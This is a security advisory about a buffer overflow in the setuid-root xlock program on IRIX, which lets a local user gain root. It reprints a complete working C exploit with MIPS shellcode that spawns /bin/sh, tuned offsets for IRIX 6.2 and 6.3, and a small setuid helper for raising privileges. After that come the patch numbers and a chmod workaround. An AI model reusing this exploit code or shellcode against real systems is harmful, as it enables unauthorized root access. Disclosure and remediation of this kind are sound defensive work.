COMMAND
/usr/bin/X11/xlock
SYSTEMS AFFECTED
IRIX64 5.3, 6.2, IRIX 6.3
PROBLEM
The xlock(1) program is used to lock the local X display of a
system until a correct password is entered at the keyboard. The
program is setuid root and as part of the process of locking an X
display accepts user arguments to establish specific xlock
operation.
It has been determined that an appropriately crafted set of
arguments could be input to the xlock program allowing execution
of arbitrary user commands with root privileges. This resulting
buffer overflow condition is considered a security vulnerability
in the xlock program. This vulnerability can be utilized to
execute commands with root privileges.
David Hedley found following. Here's an exploit for
/usr/bin/X11/xlock. It's a similar exploit to the one for
/usr/sbin/eject. The exploit is also quite sensitive to its
location and may need tweaking to work on platforms other than
those on which has been tested. Exploit tested on:
O2 R5000 (Irix 6.3)
PChallenge R8000 (Irix64 6.2)
This exploit won't work on 5.x. The exploit as it is here works
on Irix 6.3. To get it to work on 6.2, either change OFFSET from
0x118 to 0x160, or pass the program '20' as a parameter.
Note that the shell spawned as a result of this exploit has uid=0,
euid=youruserid. To make your euid=0 you'll need a program like
the following:
void main(void)
{
setuid(0,0);
execl("/bin/sh", "sh", 0);
}
Exploit follows:
/* /usr/bin/X11/xlock exploit by DCRH 25/5/97
*
* Tested on: R5000 O2 (Irix 6.3)
* R8000 Power Challenge (Irix64 6.2)
*
* For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter
*
* Exploit doesn't work on Irix 5.x due to stack position
*
* compile as: cc -n32 xlock.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define NUM_ADDRESSES 800
#define BUF_LENGTH 80
#define EXTRA 190
#define OFFSET 0x118 /* 0x160 for Irix 6.2 */
#define GP_OFFSET 32472
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define u_long unsigned
u_long get_sp_code[] = {
0x03a01025, /* move $v0,$sp */
0x03e00008, /* jr $ra */
0x00000000, /* nop */
};
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */
0x2f7368ff, /* "/sh" */
};
char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
void main(int argc, char **argv)
{
char *env[] = {NULL};
u_long targ_addr, stack, tmp;
u_long *long_p;
int i, code_length = strlen((char *)irix_shellcode)+1;
u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
stack = get_sp();
if (stack & 0x80000000) {
printf("Recompile with the '-32' option\n");
exit(1);
}
long_p =(u_long *) buf;
targ_addr = stack + OFFSET;
if (argc > 1)
targ_addr += atoi(argv[1]) * 4;
if (targ_addr + GP_OFFSET > 0x80000000) {
printf("Sorry - this exploit for Irix 6.x only\n");
exit(1);
}
tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
while ((tmp & 0xff000000) == 0 ||
(tmp & 0x00ff0000) == 0 ||
(tmp & 0x0000ff00) == 0 ||
(tmp & 0x000000ff) == 0)
tmp += 4;
for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
*long_p++ = tmp;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = IRIX_NOP;
for (i = 0; i < code_length/sizeof(u_long); i++)
*long_p++ = irix_shellcode[i];
tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = (tmp << 16) | (tmp >> 16);
*long_p = 0;
printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
perror("execl failed");
}
SOLUTION
To fix: get xlockmore-4.02 from:
ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz
Although patches are available for this issue, it is realized that
there may be situations where installing the patches immediately
may not be possible. You can change permissions on xlock
program to remove the vulnerability.
# /bin/chmod 500 /usr/bin/X11/xlock
Patches are:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x no
IRIX 4.x no
IRIX 5.0.x yes not avail Note 1
IRIX 5.1.x yes not avail Note 1
IRIX 5.2 yes not avail Note 1
IRIX 5.3 yes 2090
IRIX 6.0.x yes not avail Note 1
IRIX 6.1 yes not avail Note 1
IRIX 6.2 yes 2090
IRIX 6.3 yes 2090
IRIX 6.4 yes 2091
Note 1 means to upgrade operating system or change permissions.